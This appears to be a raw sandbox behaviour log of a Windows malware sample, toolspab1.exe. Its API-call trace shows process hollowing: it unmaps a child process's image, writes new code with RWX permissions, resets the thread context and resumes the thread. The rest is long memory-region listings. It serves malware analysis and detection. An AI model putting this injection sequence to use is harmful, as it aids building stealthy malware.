[193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 1 [0237.751] ReadProcessMemory (in: hProcess=0x110, lpBaseAddress=0x203008, lpBuffer=0x19c064, nSize=0x4, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x19c064*, lpNumberOfBytesRead=0x0) returned 1 [0237.782] NtUnmapViewOfSection (ProcessHandle=0x110, BaseAddress=0x400000) returned 0x0 [0237.919] VirtualAllocEx (hProcess=0x110, lpAddress=0x400000, dwSize=0x9000, flAllocationType=0x3000, flProtect=0x40) returned 0x400000 [0237.951] NtWriteVirtualMemory (in: ProcessHandle=0x110, BaseAddress=0x400000, Buffer=0x315a0*, NumberOfBytesToWrite=0x200, NumberOfBytesWritten=0x0 | out: Buffer=0x315a0*, NumberOfBytesWritten=0x0) returned 0x0 [0237.979] NtWriteVirtualMemory (in: ProcessHandle=0x110, BaseAddress=0x401000, Buffer=0x317a0*, NumberOfBytesToWrite=0x7200, NumberOfBytesWritten=0x0 | out: Buffer=0x317a0*, NumberOfBytesWritten=0x0) returned 0x0 [0238.035] WriteProcessMemory (in: hProcess=0x110, lpBaseAddress=0x203008, lpBuffer=0x31654*, nSize=0x4, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x31654*, lpNumberOfBytesWritten=0x0) returned 1 [0238.181] SetThreadContext (hThread=0x10c, lpContext=0x7c0000*(ContextFlags=0x10007, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0x0, Ebx=0x203000, Edx=0x0, Ecx=0x0, Eax=0x402f47, Ebp=0x0, Eip=0x77c08fe0, SegCs=0x23, EFlags=0x202, Esp=0x19fff0, SegSs=0x2b, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 1 [0238.182] ResumeThread (hThread=0x10c) returned 0x1 [0238.220] CloseHandle (hObject=0x10c) returned 1 [0238.220] CloseHandle (hObject=0x110) returned 1 [0238.220] ExitProcess (uExitCode=0x0) [0238.220] HeapValidate (hHeap=0xbc0000, dwFlags=0x0, lpMem=0xbc05a8) returned 1 [0238.220] HeapFree (in: hHeap=0xbc0000, dwFlags=0x0, lpMem=0xbc05a8 | out: hHeap=0xbc0000) returned 1 Thread: id = 2 os_tid = 0x1138 Process: id = "2" image_name = "toolspab1.exe" filename = "c:\\users\\rdhj0cnfevzx\\desktop\\toolspab1.exe" page_root = "0x6f390000" os_pid = "0x117c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x10ac" cmd_line = "\"C:\\Users\\RDhJ0CNFevzX\\Desktop\\toolspab1.exe\" " cur_dir = "C:\\Users\\RDhJ0CNFevzX\\Desktop\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f4cd" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 318 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 319 start_va = 0x30000 end_va = 0x30fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 320 start_va = 0x40000 end_va = 0x54fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 321 start_va = 0x60000 end_va = 0x9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000060000" filename = "" Region: id = 322 start_va = 0xa0000 end_va = 0x19ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000a0000" filename = "" Region: id = 323 start_va = 0x1a0000 end_va = 0x1a3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 324 start_va = 0x1b0000 end_va = 0x1b1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 325 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 326 start_va = 0x400000 end_va = 0x781fff monitored = 1 entry_point = 0x4248e0 region_type = mapped_file name = "toolspab1.exe" filename = "\\Users\\RDhJ0CNFevzX\\Desktop\\toolspab1.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\toolspab1.exe") Region: id = 327 start_va = 0x77b90000 end_va = 0x77d0afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 328 start_va = 0x7ffb0000 end_va = 0x7ffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007ffb0000" filename = "" Region: id = 329 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 330 start_va = 0x7fff0000 end_va = 0x7ffd504cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 331 start_va = 0x7ffd504d0000 end_va = 0x7ffd50690fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 332 start_va = 0x7ffd50691000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffd50691000" filename = "" Region: id = 334 start_va = 0x400000 end_va = 0x408fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 335 start_va = 0x5a0000 end_va = 0x5affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005a0000" filename = "" Region: id = 336 start_va = 0x6edd0000 end_va = 0x6ee1ffff monitored = 0 entry_point = 0x6ede8180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 337 start_va = 0x6ee20000 end_va = 0x6ee99fff monitored = 0 entry_point = 0x6ee33290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 338 start_va = 0x74f30000 end_va = 0x7500ffff monitored = 0 entry_point = 0x74f43980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 339 start_va = 0x6eea0000 end_va = 0x6eea7fff monitored = 0 entry_point = 0x6eea17c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 340 start_va = 0x410000 end_va = 0x55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000410000" filename = "" Region: id = 341 start_va = 0x74f30000 end_va = 0x7500ffff monitored = 0 entry_point = 0x74f43980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 342 start_va = 0x76ad0000 end_va = 0x76c4dfff monitored = 0 entry_point = 0x76b81b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 343 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 344 start_va = 0x7feb0000 end_va = 0x7ffaffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007feb0000" filename = "" Region: id = 345 start_va = 0x410000 end_va = 0x4cdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 346 start_va = 0x550000 end_va = 0x55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 347 start_va = 0x750d0000 end_va = 0x75216fff monitored = 0 entry_point = 0x750e1cf0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 348 start_va = 0x77440000 end_va = 0x7758efff monitored = 0 entry_point = 0x774f6820 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 349 start_va = 0x1c0000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 350 start_va = 0x5b0000 end_va = 0x6affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005b0000" filename = "" Region: id = 351 start_va = 0x4d0000 end_va = 0x4f9fff monitored = 0 entry_point = 0x4d5680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 352 start_va = 0x6b0000 end_va = 0x837fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 353 start_va = 0x75660000 end_va = 0x7568afff monitored = 0 entry_point = 0x75665680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 354 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 355 start_va = 0x30000 end_va = 0x30fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 356 start_va = 0x840000 end_va = 0x9c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000840000" filename = "" Region: id = 357 start_va = 0x9d0000 end_va = 0x1dcffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000009d0000" filename = "" Region: id = 358 start_va = 0x4d0000 end_va = 0x4d3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 359 start_va = 0x77b10000 end_va = 0x77b8afff monitored = 0 entry_point = 0x77b2e970 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 360 start_va = 0x74a10000 end_va = 0x74acdfff monitored = 0 entry_point = 0x74a45630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 361 start_va = 0x76c50000 end_va = 0x76c93fff monitored = 0 entry_point = 0x76c69d80 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 362 start_va = 0x74e80000 end_va = 0x74f2cfff monitored = 0 entry_point = 0x74e94f00 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 363 start_va = 0x748c0000 end_va = 0x748ddfff monitored = 0 entry_point = 0x748cb640 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 364 start_va = 0x748b0000 end_va = 0x748b9fff monitored = 0 entry_point = 0x748b2a00 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 365 start_va = 0x77680000 end_va = 0x776d7fff monitored = 0 entry_point = 0x776c25c0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 366 start_va = 0x1dd0000 end_va = 0x1f1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001dd0000" filename = "" Region: id = 367 start_va = 0x75690000 end_va = 0x76a8efff monitored = 0 entry_point = 0x7584b990 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 368 start_va = 0x76a90000 end_va = 0x76ac6fff monitored = 0 entry_point = 0x76a93b50 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\SysWOW64\\cfgmgr32.dll" (normalized: "c:\\windows\\syswow64\\cfgmgr32.dll") Region: id = 369 start_va = 0x76e20000 end_va = 0x77318fff monitored = 0 entry_point = 0x77027610 region_type = mapped_file name = "windows.storage.dll" filename = "\\Windows\\SysWOW64\\windows.storage.dll" (normalized: "c:\\windows\\syswow64\\windows.storage.dll") Region: id = 370 start_va = 0x752b0000 end_va = 0x7546cfff monitored = 0 entry_point = 0x75392a10 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 371 start_va = 0x77590000 end_va = 0x775d4fff monitored = 0 entry_point = 0x775ade90 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 372 start_va = 0x77320000 end_va = 0x7732bfff monitored = 0 entry_point = 0x77323930 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll") Region: id = 373 start_va = 0x775e0000 end_va = 0x7766cfff monitored = 0 entry_point = 0x77629b90 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll") Region: id = 374 start_va = 0x74e20000 end_va = 0x74e63fff monitored = 0 entry_point = 0x74e27410 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\SysWOW64\\powrprof.dll" (normalized: "c:\\windows\\syswow64\\powrprof.dll") Region: id = 375 start_va = 0x77670000 end_va = 0x7767efff monitored = 0 entry_point = 0x77672e40 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll") Region: id = 376 start_va = 